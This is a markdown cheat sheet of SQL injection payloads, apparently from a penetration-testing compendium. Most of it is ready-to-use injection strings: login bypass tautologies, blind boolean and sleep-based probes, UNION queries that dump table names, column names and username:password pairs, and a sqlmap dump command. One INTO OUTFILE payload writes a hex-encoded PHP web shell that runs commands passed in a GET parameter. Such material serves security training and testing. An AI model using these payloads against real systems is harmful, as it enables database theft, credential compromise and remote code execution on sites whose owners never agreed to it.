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killchain-compendium/exploit/sqli/sqli.md

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SQL Injection

Finding an Opportunity

  • GET parameter
http://example.com/index.php?id=' or 1=1 -- -
  • Sometimes an ID or may come first
http://example.com/index.php?id=10 or 1=1 -- +
http://example.com/index.php?id=10' or '1'='1'-- -
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
  • Provoke error to gain information
http://example.com/index.php?id='
  • Incase of client side sanitization craft the URL instead of using the form!!!

Usage

  • Example, terminate string via ' and resolve via tautology, comment the rest of the string via --
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+

Boolean True and False

SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
  • Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.
' UNION SELECT null,null,null where database() like 'da%';-- -

Time based

  • Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes
' union select sleep(3), null; -- -

Blind injection // Guessing characters

http://example.com/?id=1' and substr((select database()),1,1) < 105 --+

http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+
  • Function substr(string, start, length)
  • sqlmap via --level=5 --risk=3 --dbms=sqlite --technique=b --dump

Union based

  • First method_ check by order until error occurs
' order by 1 -- -
' order by 2 -- -
' order by 3 -- -
  • Second method fuzzing NULL values, followed by fuzzing data types
  • Check number of cols
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
# until the error occurs
  • Check which one is a string
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
  • Retrieve content, for cols and comment two times as an example. Or dump database
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
' UNION SELECT NULL,username,password,NULL FROM users -- //
  • Retrieve content by union poking the count and order, afterwards extracting tables via
0 union select null, null, database()
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
0 union select null, null, group_concat(username, ':', password from found_tablename

Identify Database

id=sqlite_version()
id=@@version # mysql/mssql
id=(SELECT banner FROM v$version) # oracle

SQL Functions

  • Use sql functions to fumble the tables & cols via union
  • source
  • Extract tables
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
  • sqlite specific
' UNION SELECT sql, sql FROM sqlite_master -- -

(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
  • Extract cols
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
  • Data from cols
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -

Insert

  • Insert file through insertion of system() or exec_shell() and a get parameter
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -

Examples

  • sqli inside HTTP request to an API. Five values inside select have been discovered before
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1

* Get col names 
```HTTP
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
```
* Get notes from users by id 
```HTTP
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
```

Payloads